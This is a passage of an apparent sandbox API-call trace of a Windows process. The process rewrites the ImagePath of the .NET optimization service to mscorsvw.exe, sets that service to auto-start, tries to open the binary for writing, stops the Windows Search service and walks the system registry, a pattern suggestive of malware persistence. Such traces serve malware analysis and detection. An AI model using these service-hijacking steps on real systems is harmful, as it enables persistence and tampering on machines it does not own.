returned 0x0 [0236.049] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.049] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0236.049] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" [0236.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0236.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0236.049] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.049] LocalFree (hMem=0x7f03d0) returned 0x0 [0236.049] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0236.049] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x2) returned 0x803990 [0236.094] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0236.096] CloseServiceHandle (hSCObject=0x803990) returned 1 [0236.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0236.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0236.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0236.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0236.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0236.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0236.097] RegCloseKey (hKey=0x150) returned 0x0 [0236.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0236.097] RegCloseKey (hKey=0x154) returned 0x0 [0236.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0236.097] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0236.097] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe43ab94, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfe43ab94, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x65bf4000, ftLastWriteTime.dwHighDateTime=0x1c9e95e, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0236.097] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0236.097] GetLastError () returned 0x20 [0236.097] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0236.098] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0236.098] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0236.098] OpenServiceW (hSCManager=0x803918, lpServiceName="WSearch", dwDesiredAccess=0x20) returned 0x8038a0 [0236.098] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0236.099] GetLastError () returned 0x425 [0236.099] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0236.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0236.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0236.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0236.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0236.099] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0236.099] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0236.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0236.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1df0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0236.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.099] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.099] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0236.099] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0236.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.100] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0236.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0236.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.100] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0236.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0236.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.100] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0236.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0236.100] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.100] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.101] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0236.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0236.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.101] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0236.101] RegCloseKey (hKey=0x80000002) returned 0x0 [0236.101] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0236.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0236.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1df0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0236.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.101] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0236.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0236.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0236.101] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.101] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.102] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0236.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0236.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1df0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0236.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.102] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0236.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0236.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.102] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.102] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0236.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.102] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0236.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.103] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0236.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0236.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.103] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0236.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0236.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.103] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0236.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0236.103] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.103] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.103] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0236.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0236.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1df0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0236.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.104] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0236.104] RegCloseKey (hKey=0x150) returned 0x0 [0236.104] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0236.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0236.104] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0236.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0236.104] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.104] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: 